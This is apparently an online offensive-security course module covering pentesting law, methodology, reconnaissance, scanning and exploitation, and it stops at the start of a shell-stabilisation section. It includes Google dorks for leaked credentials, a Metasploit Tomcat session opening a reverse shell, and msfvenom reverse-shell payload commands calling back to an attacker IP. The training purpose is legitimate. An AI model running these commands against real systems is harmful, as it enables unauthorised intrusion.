Lucent Grid Learning  ·  Offensive Security

Penetration
Testing

The methodology, mental models, and technical vocabulary of offensive security — from legal framework and reconnaissance through exploitation, Active Directory attacks, and professional reporting. Every technique presented from both the attacker's perspective and the defender's view. Fifteen chapters building the foundation for practical pentesting work.

15 chapters
~3.5 hrs reading
Red & Blue perspective
PTES / OWASP aligned
📍
Continue where you left off
Chapter 01 · ~12 min · Foundations

What Is Penetration Testing?

The discipline defined, pentesting vs red team vs vuln assessment vs bug bounty, the attacker mindset, and what the career actually looks like

Penetration testing is the practice of attacking systems with permission — simulating what a real attacker would do in order to find vulnerabilities before they do. That single sentence contains the two things that matter most: attacking (this is genuinely adversarial work, not passive scanning) and with permission (without which it is simply crime). Everything else in this module builds on those two foundations.

Definition

A penetration test is a time-limited, scoped, authorised security assessment in which a tester actively attempts to compromise systems and achieve defined objectives — in order to identify vulnerabilities, demonstrate their exploitability, and provide evidence-based recommendations for remediation.

Four Things That Are Not the Same

The industry uses overlapping terminology carelessly. Understanding the real distinctions matters for setting client expectations, scoping engagements correctly, and choosing the right assessment type for a given security objective.

TypeWhat It IsOutputRealistic Adversary?
Vulnerability AssessmentAutomated scanning of systems for known vulnerabilities. Nessus, OpenVAS, Qualys. Little to no manual exploitation — just detection and scoring.List of CVEs with CVSS scores and remediation guidanceNo — discovers known exposures, doesn't chain them into attacks
Penetration TestManual, goal-oriented attempt to compromise specific systems within a defined scope. Testers exploit vulnerabilities and demonstrate real impact.Detailed findings with evidence, exploited vulnerabilities, business impact, remediationPartially — simulates a motivated external attacker but is time-limited and scoped
Red TeamFull adversary simulation against a specific objective (exfiltrate data, achieve domain compromise, physical facility access). Long-duration, stealth-focused, tests detection and response as much as prevention.Campaign narrative, detection gaps, dwell time, blue team response evaluationYes — the closest simulation of a real targeted attacker
Bug BountyContinuous, crowd-sourced vulnerability disclosure programme where independent researchers report vulnerabilities for rewards within a defined scope.Individual vulnerability reports submitted by researchersNo — no lateral movement, no physical testing, highly scoped

The Attacker Mindset

The most valuable thing a penetration tester develops is not knowledge of specific tools or techniques — it is a way of thinking. Defenders ask "what have I protected?" Attackers ask "what can I reach from here?" The difference is orientation: defensive thinking maps controls to assets; offensive thinking maps access to possibilities.

The attacker mindset has three practical components:

  • Assume there's a way in. Experienced testers start every engagement with the belief that they will find something — not arrogance, but the empirical observation that every system has weaknesses, and the job is finding them. This assumption prevents premature abandonment of promising attack paths.
  • Think in chains, not individual findings. A single exposed SMB port is an informational finding. SMB + weak credentials + the same credentials reused on the domain controller is a critical finding. Real attacker value comes from combining individually low-severity issues into high-impact attack chains.
  • Ask "what could this lead to?" at every step. Every piece of information revealed by the target — a version number, a username, an error message, a response timing difference — is a potential stepping stone. Defensive instinct filters information as noise; offensive instinct evaluates every detail for leverage.

Why Organisations Hire Pentesters

The honest answer is that organisations hire pentesters for several reasons — not all of them equally good:

  • Regulatory compliance — PCI-DSS requires annual penetration testing. SOC 2 Type II auditors expect evidence of regular testing. ISO 27001 implementations include penetration testing as a control. Many organisations treat pentesting primarily as a compliance checkbox — this produces scoped, limited engagements optimised for report production rather than genuine risk discovery.
  • Genuine risk reduction — the more mature motivation. Finding and fixing vulnerabilities before real attackers find them reduces the probability and impact of breaches. Organisations that use pentesting as a genuine risk management tool invest in realistic scoping, meaningful objectives, and remediation verification.
  • M&A due diligence — acquiring companies assess the security posture of acquisition targets. A hidden active breach or a compromised infrastructure dramatically changes the deal value.
  • Incident response context — post-breach testing to understand how an attacker moved and what else might have been missed during remediation.

What the Career Actually Looks Like

Penetration testing has several career paths with meaningfully different day-to-day realities:

  • Consultancy / Agency — the most common entry point. You work for a security firm and are assigned to client engagements. Each engagement is different: different environments, different objectives, different clients. Heavy travel in some firms. Fast skill development because of the variety. Income is usually good; lifestyle depends heavily on the firm's culture.
  • In-house red team — typically found only at large enterprises (banks, tech companies, defence contractors). Deep knowledge of one environment; longer campaign timelines; better lifestyle. Harder to get into without prior consultancy experience.
  • Bug bounty hunter — independent, self-directed, fully remote. Income is highly variable — exceptional researchers earn six figures; most earn far less. Works best as a supplement to other income while building skills, or for those who have already reached senior consultancy level.
  • Government / military — national security agencies, law enforcement, and military branches all employ offensive security practitioners. More stable than consultancy; work may be classified; requires security clearance and citizenship eligibility.
Key Takeaways — Chapter 1
  • Penetration testing is active, adversarial, authorised — all three qualifiers matter; remove any one and the definition breaks down
  • Vulnerability assessments find known issues; pentests demonstrate exploitable impact; red teams simulate realistic adversaries; bug bounties are continuous and crowd-sourced — these are not interchangeable
  • The attacker mindset thinks in chains, treats every data point as potential leverage, and assumes a path exists before finding it
  • Most penetration testing careers start in consultancy — variety of environments and engagements accelerates skill development faster than any lab environment
Chapter 02 · ~14 min · Legal & Ethics

Legal, Ethical, and Professional Framework

Computer crime law, authorisation requirements, rules of engagement, responsible disclosure, and what happens when pentesters get it wrong

Computer Crime Law — The Legal Landscape

Most countries have statutes that criminalise unauthorised access to computer systems. The intent is almost entirely irrelevant — it is the authorisation, or lack of it, that determines legality.

  • US — Computer Fraud and Abuse Act (CFAA, 18 USC §1030) — the primary US federal statute. Prohibits accessing a computer "without authorisation" or "in excess of authorisation." The scope of "access" is intentionally broad and has been interpreted to include port scanning, sending unexpected network packets, and accessing resources the owner hasn't explicitly prohibited. Multiple security researchers have faced CFAA prosecution for activities that were technically legal under any common-sense reading of the statute. The law was written in 1986 and has not kept pace with the modern internet.
  • UK — Computer Misuse Act 1990 (CMA) — the UK equivalent. Three tiers: unauthorised access (section 1, up to 2 years); unauthorised access with intent to commit further offences (section 2, up to 5 years); unauthorised modification of computer material (section 3, up to 10 years). The 2015 amendment added serious crime provisions that affect tool possession — owning hacking tools with intent to use them for unauthorised access can itself be an offence.
  • EU — Directive on Attacks Against Information Systems (2013/40/EU) — harmonises criminal law across EU member states for computer crimes. Member states implement it with varying severity.

What Constitutes Authorisation

Authorisation for a penetration test requires three things: the right person, the right scope, and the right form.

  • The right person — only someone with legal authority over the target system can authorise testing. For a company's own systems: the CISO, CTO, or CEO. For cloud environments: the account owner, not just a system administrator. For systems hosted by a third party: both the client and the hosting provider may need to authorise (AWS requires notification for certain types of testing; Azure and GCP have similar policies). A developer who "gives permission" to test their employer's production environment without executive sign-off has not given authorisation.
  • The right scope — authorisation must specify what is in scope: IP ranges, domains, applications, physical locations, social engineering targets. "Test whatever you want" is not adequate scope — it creates ambiguity that can expose the tester to liability when they access something they shouldn't have. Explicit exclusions (production databases, third-party systems, specific business-critical servers during certain hours) are as important as inclusions.
  • The right form — written, signed, and retained. A Statement of Work (SoW) or contract that explicitly authorises the testing activities is the minimum. Some engagements also use a separate Rules of Engagement document for operational details. Verbal permission is worthless if you're later prosecuted.
The Third-Party Problem

Testing a system that is partially owned or operated by a third party — a SaaS application, a cloud hosting provider, a CDN — requires authorisation from that third party, not just your client. Your client owns their data and their application; they do not own the infrastructure running it. Testing a client's AWS environment without notifying AWS, for example, may violate AWS's Penetration Testing Policy even if your client has authorised you. Always check hosting provider policies before testing.

Rules of Engagement in Depth

The Rules of Engagement (RoE) document is the operational specification of the penetration test. It answers the questions that the legal contract doesn't:

  • Time windows — when can testing occur? Business hours only? 24/7? Certain systems only during maintenance windows?
  • Excluded systems — what is explicitly out of scope? Production payment systems? Specific IP ranges? Third-party systems?
  • Emergency contact — who to call if you accidentally cause an outage, find an active breach by a real attacker, or discover evidence of serious criminal activity?
  • Safe word / pause protocol — a predetermined signal that either party can use to pause all testing immediately. Essential when the client's incident response team detects testing activity and needs to confirm it's authorised before escalating.
  • Evidence handling — what happens to captured credentials, sensitive data found on systems, and screenshots of confidential information? These must be handled and disposed of appropriately.
  • Deconfliction — how does the client's SOC know when activity is from the pentest versus a real attacker? Some engagements are fully announced (the SOC knows a test is happening); some are partially announced (executives know, SOC does not); some are black box (no one at the client knows). Each has different operational implications.

Responsible Disclosure

When vulnerability research is conducted outside of a formal engagement — independent security research, bug bounty programmes, or accidental discovery — the question of disclosure arises. The spectrum:

  • Coordinated disclosure (preferred) — notify the vendor privately, give them a reasonable time to develop and release a patch (typically 90 days, per Google Project Zero's standard), then publish. The vendor gets time to fix the issue; users eventually get the information they need to protect themselves.
  • Full immediate disclosure — publish everything immediately without vendor notification. Sometimes justified when the vendor is unresponsive, the vulnerability is already being exploited, or the vendor has a history of ignoring reports. High impact on affected users; high pressure on the vendor; high reputational risk for the researcher.
  • Non-disclosure — report to the vendor and agree to never publish. Common in coordinated disclosure arrangements with large enterprise vendors who require NDAs. Protects no one except the vendor's reputation.

When Pentesters Get It Wrong — Real Cases

Understanding how legal situations go wrong is as important as understanding the law itself:

  • Going out of scope — a tester hired to assess a web application who compromises a server not in scope, even in pursuit of a legitimate attack chain, may have committed a computer crime against that server. Scope discipline is not bureaucracy — it is legal protection.
  • Retaining client data — a tester who captures credentials or sensitive documents during an engagement and retains them after the engagement closes has mishandled client data and potentially violated data protection law.
  • The wrong client contact — in 2019, two contractors hired to conduct a physical penetration test of an Iowa courthouse were arrested and charged with third-degree burglary after being discovered by police. The authorisation letter they carried was from the state judicial agency — but county officials who owned the facility had not been notified. The case was eventually resolved, but they spent weeks fighting criminal charges despite having genuine authorisation from the entity they believed was responsible.
Key Takeaways — Chapter 2
  • Written, signed authorisation from the right person is the legal prerequisite for every testing action — verbal permission and assumptions do not count
  • Third-party systems (cloud hosting, CDNs, SaaS platforms) require authorisation from the third party, not just the client
  • Rules of Engagement are the operational specification — time windows, exclusions, emergency contacts, evidence handling, and safe word protocols
  • Coordinated disclosure with a 90-day notice period is the industry-standard approach to independently discovered vulnerabilities
  • Scope discipline is legal protection — going out of scope is a criminal risk even if unintentional
Chapter 03 · ~13 min · Methodology

The Penetration Testing Methodology

PTES, OWASP Testing Guide, NIST SP 800-115, black/grey/white box, the engagement lifecycle, and defining objectives in business terms

A methodology is what separates a professional penetration test from a disorganised attack. Without a framework, testers miss things — not because they lack skill, but because they lack a systematic approach that ensures complete coverage. A methodology also makes the engagement defensible: when a client asks "how did you test for X?", the answer is rooted in a recognised framework rather than personal preference.

Major Frameworks

  • PTES (Penetration Testing Execution Standard) — the most comprehensive open standard for penetration testing. Covers seven phases: pre-engagement, intelligence gathering, threat modelling, vulnerability analysis, exploitation, post-exploitation, and reporting. Detailed technical guidelines for each phase. The de facto reference for methodology.
  • OWASP Testing Guide — specifically for web application testing. Extremely detailed per-vulnerability testing procedures with test cases, tools, and expected results for each OWASP Top 10 category and many others. Essential reference for web application testers.
  • NIST SP 800-115 — the US federal government's technical guide to information security testing. More conservative and process-oriented than PTES. Required reference for engagements serving US federal clients.
  • OSSTMM (Open Source Security Testing Methodology Manual) — focuses on measuring security through operational metrics. Less used in commercial pentesting but influential in security research contexts.

Black Box vs Grey Box vs White Box

TypeInformation ProvidedSimulatesBest For
Black BoxTarget name only — no credentials, no architecture documentation, no source codeExternal attacker with no insider knowledgeExternal perimeter testing; realistic adversary simulation
Grey BoxSome information — network diagrams, low-privilege credentials, documentation — but not full accessAttacker with some prior reconnaissance or insider knowledge; or a compromised userMost internal network and application tests; efficient coverage with realistic constraints
White BoxEverything — full source code, architecture diagrams, admin credentials, infrastructure detailsAuditor with full access; insider with legitimate access; thorough code and config reviewCode review, configuration audit, comprehensive coverage where missed findings are costly

Grey box is the most common commercial engagement type. It is more efficient than black box (less time wasted on reconnaissance that could be done internally) without sacrificing the realistic adversarial perspective. White box is appropriate when the objective is thoroughness — catching everything — rather than simulating a realistic attacker.

The Engagement Lifecycle

  1. Pre-engagement — scoping call, Statement of Work, Rules of Engagement, authorisation letters, NDA, kickoff meeting. Nothing technical happens yet. The success of the engagement is significantly determined by the quality of this phase.
  2. Reconnaissance — passive and active information gathering about the target. Attack surface mapping. The attacker learns everything possible about the environment before touching it.
  3. Scanning and enumeration — active probing of in-scope systems. Port scanning, service version detection, vulnerability scanning, web application fingerprinting. Building the target inventory.
  4. Exploitation — attempting to leverage identified vulnerabilities to achieve defined objectives. The "breaking in" phase — but only after thorough preparation.
  5. Post-exploitation — after initial access is established: privilege escalation, lateral movement, persistence, data access, achieving the defined objective. This is where the actual impact is demonstrated.
  6. Reporting — documenting everything: methodology, findings, evidence, business impact, remediation guidance. The deliverable the client pays for.
  7. Remediation verification — retesting to confirm that fixes work. Not always included in the engagement scope, but should be.

Defining Objectives in Business Terms

The most common scoping mistake is defining a pentest in purely technical terms — "test all systems in the 10.0.0.0/8 range." Better scoping defines objectives in business terms: "determine whether an external attacker could access the customer database," or "assess whether a compromised employee workstation could be used to reach the payment processing environment."

Business-oriented objectives produce better tests because they guide the tester's choices when multiple attack paths are available. Faced with a choice between spending time on a finding that would only affect an internal development server versus one that could lead to the payment database, the business-oriented objective makes the prioritisation obvious.

Key Takeaways — Chapter 3
  • PTES is the comprehensive methodology reference; OWASP Testing Guide is the web application standard; NIST SP 800-115 is required for federal work
  • Grey box is the most common commercial engagement — efficient coverage with realistic attacker constraints
  • The engagement lifecycle is sequential and deliberate — jumping from scope to exploitation without thorough reconnaissance misses findings and wastes time
  • Business-oriented objectives drive better testing decisions than technical scope alone — they guide prioritisation and make findings more actionable for stakeholders
Chapter 04 · ~16 min · Reconnaissance

Reconnaissance and OSINT

Passive reconnaissance, Shodan, Google dorking, LinkedIn intelligence, job postings, certificate transparency, subdomain enumeration, and building the attack surface map

Reconnaissance is the phase where patience pays off disproportionately. A tester who spends three hours on thorough reconnaissance before touching the target will be more effective than one who immediately launches nmap scans. Reconnaissance reduces wasted effort, reveals attack paths that direct scanning would never surface, and — in the case of passive reconnaissance — generates zero logs on the target's systems.

Shodan — The Search Engine for Exposed Infrastructure

Shodan continuously scans the internet and indexes the banners and metadata returned by devices on open ports. It is, in effect, a searchable database of everything exposed to the internet — servers, routers, cameras, industrial control systems, printers, and anything else with an internet-reachable port.

Shodanorg:"Acme Corporation" — finding exposed infrastructure
Search: org:"Acme Corporation" port:22 Results: 14 devices IP: 203.0.113.45 Hostnames: mail.acme-corp.com Ports: 22, 25, 143, 443 OS: Ubuntu 18.04 SSH Banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 Last seen: 2024-03-15 IP: 203.0.113.78 Hostnames: vpn.acme-corp.com Ports: 443, 4443 Server: Pulse Secure SSL VPN CVEs: CVE-2019-11510 (CVSS 10.0 — unauthenticated file read) Last seen: 2024-03-14

Shodan reveals: what services an organisation exposes, what software versions are running, what certificates are in use, and — critically — whether those versions have known critical vulnerabilities. The Pulse Secure VPN in the example above is an immediate high-priority lead: CVE-2019-11510 allows unauthenticated file read including VPN session files containing plaintext credentials. Finding this in Shodan before active scanning is pure intelligence value with zero network contact with the target.

Useful Shodan Filters

org:"Company Name"           # by organisation name registered with IP allocator
hostname:domain.com          # by hostname pattern
net:203.0.113.0/24           # by IP range (requires paid account)
ssl.cert.subject.cn:domain   # by certificate subject
product:"Apache httpd"       # by software product
vuln:CVE-2021-44228          # by CVE (shows hosts with known-vulnerable versions)
port:3389 country:GB         # RDP exposed in UK
"default password" port:80   # look for default credentials pages

Google Dorking — Advanced Search for Exposed Data

Google's search operators allow targeted queries that surface information organisations have inadvertently exposed publicly. These are sometimes called "Google dorks" — search strings that find specific types of sensitive content indexed by Google's crawler.

Google DorksFinding exposed files and login pages
site:acme-corp.com filetype:pdf "confidential" → Found 3 PDFs with "CONFIDENTIAL" watermarks indexed publicly site:acme-corp.com inurl:admin → Found: admin.acme-corp.com/admin/login.php site:acme-corp.com ext:sql | ext:bak | ext:conf → Found: https://dev.acme-corp.com/backup/database.sql.bak (2.1MB) site:acme-corp.com intitle:"index of" "parent directory" → Found: https://files.acme-corp.com/ (open directory listing) "@acme-corp.com" site:pastebin.com → Found paste containing 47 employee email:password pairs (2022 breach dump)

LinkedIn — Organisational Intelligence

LinkedIn provides two types of intelligence: organisational structure (who reports to whom, who are the decision-makers, who works in IT security) and technology stack (what tools does the company use, inferred from employees' skills sections and job history). This intelligence drives social engineering pretexts and helps build realistic phishing emails.

LinkedIn OSINTTechnology stack inference from job postings and profiles
Search: "Acme Corporation" site:linkedin.com CTO: James Whitfield — 15 years at Acme Head of IT: Sarah Chen — "Cisco ACI, VMware NSX, Palo Alto NGFW" SOC Lead: Marcus Webb — "Splunk SIEM, CrowdStrike EDR, ServiceNow" Job Posting: Senior DevOps Engineer "Experience with AWS EKS, Terraform, GitHub Actions, HashiCorp Vault" "Familiarity with our Jira/Confluence stack a plus" → AWS environment, Kubernetes, Terraform IaC, GitHub for CI/CD → Internal tooling: Jira, Confluence (likely Atlassian cloud) → Secrets management: HashiCorp Vault

Certificate Transparency — Subdomain Enumeration

Every TLS certificate issued by a publicly trusted CA is logged in Certificate Transparency logs — and those logs are publicly searchable. Every subdomain a certificate has been issued for is visible. This is one of the most reliable subdomain enumeration techniques because it captures subdomains that don't appear in DNS searches or web crawls.

crt.sh + AmassSubdomain enumeration via certificate transparency
$ curl -s "https://crt.sh/?q=%25.acme-corp.com&output=json" | jq -r '.[].name_value' | sort -u api.acme-corp.com dev.acme-corp.com internal-api.acme-corp.com jenkins.acme-corp.com legacy-portal.acme-corp.com mail.acme-corp.com staging.acme-corp.com www.acme-corp.com $ amass enum -passive -d acme-corp.com [Found via VirusTotal] backup.acme-corp.com [Found via DNS brute] vpn.acme-corp.com [Found via crt.sh] admin-panel.acme-corp.com [Found via SecurityTrails] old-hr.acme-corp.com → 203.0.113.22

The findings above tell a story immediately: jenkins.acme-corp.com is a CI/CD server (high value — often contains credentials, deployment pipelines, and production access). staging.acme-corp.com is a staging environment (often less secured than production but connected to the same infrastructure). old-hr.acme-corp.com is a legacy system (potentially unpatched, forgotten, but still resolving to a live IP).

GitHub and Source Code Intelligence

Developers routinely commit secrets to public GitHub repositories — API keys, database connection strings, AWS access keys, and private keys. GitHub's secret scanning notifies maintainers, but detection is not instant and not all secrets are caught. Historical commits can contain secrets even after they've been removed from the current version (git history persists).

GitHub Dorking + TruffleHogFinding leaked credentials in source code
GitHub search: org:acme-corp "AWS_SECRET_ACCESS_KEY" → Found in commit abc1234: config/deploy.rb (pushed 14 months ago) $ trufflehog git https://github.com/acme-corp/infrastructure --only-verified Found verified credential: Type: AWS Access Key Key ID: AKIAIOSFODNN7EXAMPLE Secret: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY File: .env (committed 8 months ago, removed 7 months ago) Status: VERIFIED ACTIVE — key is live and working
🔴 Attacker Perspective

GitHub is a treasure chest. Automated tools scan all public commits continuously. A secret committed for five minutes before being removed is still in git history and may already be indexed. A single AWS key found here can mean full account compromise.

🔵 Defender Perspective

Deploy pre-commit hooks (git-secrets, detect-secrets) to prevent secret commits. Use GitHub's secret scanning. Monitor for commits from your org in BreachWatch, GitGuardian. Any exposed credential must be rotated immediately — removing from HEAD is not enough.

Key Takeaways — Chapter 4
  • Shodan indexes internet-exposed services with version banners — often reveals critical unpatched vulnerabilities before any direct contact with the target
  • Google dorking surfaces accidentally indexed sensitive files, open directory listings, and exposed admin interfaces that standard scanning misses
  • Certificate Transparency logs provide comprehensive subdomain enumeration including subdomains that don't appear in web crawls or DNS brute force
  • GitHub historical commits persist even after removal — TruffleHog and similar tools find and verify live credentials from old commits
  • Job postings are intelligence: they reveal technology stack, internal tooling, and security controls in place
🧪 Practice Lab

TryHackMe: Passive Reconnaissance and OhSINT — both use real-world OSINT techniques against intentionally designed targets. For Shodan practice, explore their free tier against your own public IP or open-source projects.

Chapter 05 · ~16 min · Scanning

Scanning and Enumeration

nmap in depth, vulnerability scanning, web application fingerprinting, directory enumeration, SMB/LDAP/SNMP enumeration, and what scanning looks like to defenders

Scanning is the transition from passive intelligence gathering to active probing. You are now sending packets to the target and generating logs on their systems. Every scan generates evidence — in firewall logs, in IDS alerts, in web server access logs. Skilled testers balance thoroughness against detectability, choosing techniques that gather the required information with the minimum noise.

nmap — The Foundation Tool

nmap (Network Mapper) is the standard tool for host discovery, port scanning, service version detection, and OS fingerprinting. Its NSE (Nmap Scripting Engine) extends it to vulnerability detection, brute-force attacks, and protocol-specific enumeration.

nmapComprehensive scan — service versions, OS detection, default scripts
$ nmap -sV -sC -O -T4 -p- 203.0.113.45 -oA scan_results Starting Nmap 7.94 ( https://nmap.org ) Nmap scan report for mail.acme-corp.com (203.0.113.45) Host is up (0.012s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 12:34:56:78:9a:bc:de:f0:12:34:56:78:9a:bc:de:f0 (RSA) |_ 256 ab:cd:ef:01:23:45:67:89:ab:cd:ef:01:23:45:67:89 (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: mail.acme-corp.com, PIPELINING, SIZE 10240000, VRFY, ETRN 143/tcp open imap Dovecot imapd 443/tcp open https nginx 1.14.0 | ssl-cert: Subject: commonName=mail.acme-corp.com | organizationName=Acme Corporation | Not valid after: 2024-08-15T00:00:00 8080/tcp open http Apache Tomcat 8.5.23 | http-title: Apache Tomcat/8.5.23 |_http-open-proxy: Proxy might be redirecting requests OS detection: Linux 4.15 - 5.6 (93%) Service Info: Host: mail.acme-corp.com; OS: Linux

Reading this output: OpenSSH 7.6p1 is an older version and worth checking against CVE databases. The SMTP server exposes VRFY — which allows username enumeration (send VRFY username and the server confirms if the account exists). Tomcat 8.5.23 is significantly out of date and has known critical vulnerabilities including CVE-2017-12617 (remote code execution via PUT request). These are the leads that drive the next phase.

Essential nmap Flags

FlagMeaningNotes
-sSSYN scan (half-open, stealthy)Default when run as root; faster than connect scan; doesn't complete TCP handshake
-sVService version detectionProbes open ports to identify service and version
-sCDefault NSE scriptsRuns safe default scripts: banner grabbing, SSL enum, SMB detection
-OOS detectionAttempts to identify operating system via TCP/IP stack fingerprinting
-p-All 65,535 portsDon't miss services on non-standard ports
-T4Timing (aggressive)Faster scanning; T1-T5 range from paranoid to insane
-oA filenameOutput all formatsSaves .nmap, .xml, and .gnmap — always save output
--script vulnVulnerability scriptsRuns NSE vulnerability detection scripts — noisy but finds obvious CVEs

Directory and File Enumeration

Web applications expose endpoints that aren't linked from the visible interface — admin panels, backup files, API endpoints, configuration pages. Directory enumeration uses wordlists to brute-force paths and discover these hidden resources.

FeroxbusterRecursive directory enumeration with wordlist
$ feroxbuster -u https://acme-corp.com -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html,txt,bak ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` |__) | | /__` |__ | |___ | \ | \ | \__, |__) \__/ .__/ |___ 200 GET acme-corp.com/index.html 200 GET acme-corp.com/about.html 200 GET acme-corp.com/admin/ 200 GET acme-corp.com/admin/login.php 200 GET acme-corp.com/backup/ 200 GET acme-corp.com/backup/db_backup_2024-01-15.sql.bak [2.1MB] 200 GET acme-corp.com/api/v1/ 301 GET acme-corp.com/images/ 200 GET acme-corp.com/.env → Contains: DB_PASSWORD=Acme2024!, AWS_ACCESS_KEY_ID=AKIA...

SMB Enumeration

SMB is the Windows file sharing protocol and one of the richest sources of information during an internal pentest. From an unauthenticated or low-privilege position, SMB can reveal: system information, share names and permissions, domain information, user lists, and password policies.

enum4linux-ngSMB enumeration — shares, users, password policy
$ enum4linux-ng -A 10.10.10.5 ENUM4LINUX-NG — enum4linux replacement (python) [*] OS information OS: Windows Server 2019 Standard 17763 DNS: DC01.acme.local Domain: ACME [*] SMB shares ADMIN$ Remote Admin C$ Default share IPC$ Remote IPC NETLOGON Logon server share Finance Disk -- READ/WRITE (anonymous!) [*] Password policy Min password length: 7 Password complexity: Yes Lockout threshold: 0 (NO LOCKOUT) Lockout duration: N/A [*] Users (via RPC) administrator Guest krbtgt john.smith sarah.jones it-admin svc-backup svc-sql svc-monitoring

This output contains several critical findings: the Finance share has anonymous read/write access, the domain has no account lockout policy (password spraying is possible without locking accounts), and we now have a list of valid usernames including service accounts. All of this was obtained without credentials.

🔴 Attacker Perspective
  • No lockout threshold = free password spraying with zero risk
  • Anonymous Finance share = immediate data access
  • Service accounts visible = Kerberoasting targets identified
  • Domain name = can query LDAP for more details
🔵 Defender Perspective
  • Lockout threshold of 3-5 attempts dramatically raises spray cost
  • Restrict anonymous SMB: RestrictAnonymous = 2 in GPO
  • SMB signing prevents relay attacks on authenticated sessions
  • SIEM alert: many failed logons spread across many accounts
Key Takeaways — Chapter 5
  • nmap's -sV -sC combination gives service versions and default script output — always the starting point for understanding a target's exposed services
  • Old software versions are leads, not findings — Tomcat 8.5.23, OpenSSH 7.6, outdated nginx all need CVE cross-referencing to determine exploitability
  • Directory enumeration finds admin panels, backup files, and .env files that aren't linked from the visible site — critical for web application work
  • SMB enumeration without credentials can reveal: OS version, domain info, share names, user lists, and password policies — all essential attack planning data
  • No account lockout policy removes the primary risk from password spraying — find this early and note it as a finding
🧪 Practice Lab

HackTheBox: Blue (nmap + EternalBlue), Legacy (SMB enumeration). TryHackMe: Further Nmap for comprehensive nmap skill building.

Chapter 06 · ~15 min · Exploitation

Exploitation Fundamentals

Why vulnerabilities exist, Metasploit architecture, payload types, msfvenom, catching shells, shell stabilisation, and the risk of untrusted exploits

Exploitation is the phase that most people imagine when they think of "hacking" — the moment of actual compromise. In reality, by the time a skilled tester reaches this phase, they already know with reasonable confidence that something is exploitable. The reconnaissance and enumeration phases have identified the target; exploitation is the confirmation and the mechanism for establishing access.

Why Vulnerabilities Exist — Classes of Errors

Understanding vulnerability classes — the categories of programming and design errors that create exploitable conditions — is more durable than memorising specific CVEs. New vulnerabilities will be discovered; the underlying error classes remain consistent.

  • Memory safety errors — buffer overflows, use-after-free, format string bugs. When a program writes more data to a memory buffer than the buffer was allocated to hold, the excess overwrites adjacent memory — potentially including function return addresses, allowing an attacker to redirect execution to their own code. These errors are most common in C and C++ code.
  • Injection flaws — when user-supplied input is interpreted as code rather than data. SQL injection, OS command injection, LDAP injection, XPath injection. The pattern is always the same: user input reaches an interpreter without adequate sanitisation or parameterisation.
  • Authentication and authorisation failures — missing authentication checks, weak credential policies, broken session management, insecure tokens. The application fails to verify that the user is who they claim to be, or fails to verify that they're permitted to perform the requested action.
  • Logic errors — the application works as programmed but the programming is wrong. A price calculation that can be manipulated to produce negative totals, a password reset flow that can be bypassed, a workflow that can be reversed in an unintended order. No automated scanner finds logic errors — only a tester who understands the intended behaviour can identify deviations from it.
  • Configuration errors — software correctly installed but incorrectly configured. Default credentials, unnecessary services enabled, overly permissive file permissions, debug interfaces left enabled in production. Often the easiest vulnerabilities to exploit.

Metasploit Framework

Metasploit is the industry-standard exploitation framework — a platform that organises and automates many aspects of the exploitation workflow. Understanding its architecture helps you use it efficiently and understand what it's doing at each step.

Metasploit — msfconsoleBasic exploitation workflow against Apache Tomcat
msf6 > search tomcat_mgr_upload Matching Modules ================ 0 exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Yes Tomcat Application Manager Authenticated Code Execution msf6 > use exploit/multi/http/tomcat_mgr_upload msf6 exploit(tomcat_mgr_upload) > options Module options: RHOSTS (required) Target host RPORT 8080 Target port HttpUsername admin Manager username HttpPassword admin Manager password msf6 exploit(tomcat_mgr_upload) > set RHOSTS 203.0.113.45 msf6 exploit(tomcat_mgr_upload) > set HttpPassword Tomcat2024 msf6 exploit(tomcat_mgr_upload) > run [*] Started reverse TCP handler on 10.10.14.5:4444 [*] Uploading 6551 bytes as jMhKqy.war... [*] Executing /jMhKqy/5dBEKgGQoNnJlcMgPFKWPDVJuMh.jsp... [*] Sending stage (58812 bytes) to 203.0.113.45 [*] Meterpreter session 1 opened (10.10.14.5:4444 → 203.0.113.45:52344) meterpreter > sysinfo Computer : mail.acme-corp.com OS : Linux mail 4.15.0-167-generic #175-Ubuntu SMP User : tomcat8 Meterpreter: java/linux

Payload Types

Understanding payload types determines how you catch connections and what you can do once you have a session.

TypeHow It WorksProsCons
Reverse shellCompromised system connects back to attacker's listenerWorks through NAT/firewall (outbound is usually allowed)Requires attacker to have a reachable public IP or listen on VPN
Bind shellCompromised system opens a port; attacker connects to itSimple; attacker initiates connectionBlocked by most firewalls inbound; noisy
StagedSmall initial payload (stager) connects back; downloads and executes the full payload (stage)Small initial payload evades size limitsRequires network access to stage server; two-step process
StagelessFull payload delivered in a single transmissionWorks in air-gapped or restricted network access scenariosLarger payload size; more likely to trigger AV signatures
MeterpreterAdvanced in-memory payload; runs in target process; encrypted commsFeature-rich (file transfer, keylogging, pivoting); runs in memory (less disk forensics)Well-known AV signature; detected by most EDR

msfvenom — Payload Generation

msfvenom generates standalone payloads in various formats for scenarios where Metasploit's built-in payload handling isn't used.

msfvenomGenerating reverse shell payloads for different scenarios
# Windows reverse shell — executable $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o payload.exe Payload size: 460 bytes | Final size of exe file: 7168 bytes | Saved as: payload.exe # Linux reverse shell — ELF binary $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf # PHP reverse shell — web application delivery $ msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php # Python reverse shell — for Python environments $ msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.5 LPORT=4444 -f raw python3 -c 'import socket,subprocess,os;s=socket.socket(...)...'

Shell Stabilisation

Raw netcat shells are fragile — they have no tab completion, CTRL+C kills the connection, interactive programs like vim don't work, and they don't have terminal width settings. Shell stabilisation converts a dumb shell into an interactive, fully functional terminal.

Shell StabilisationConverting a raw netcat shell to a fully interactive TTY
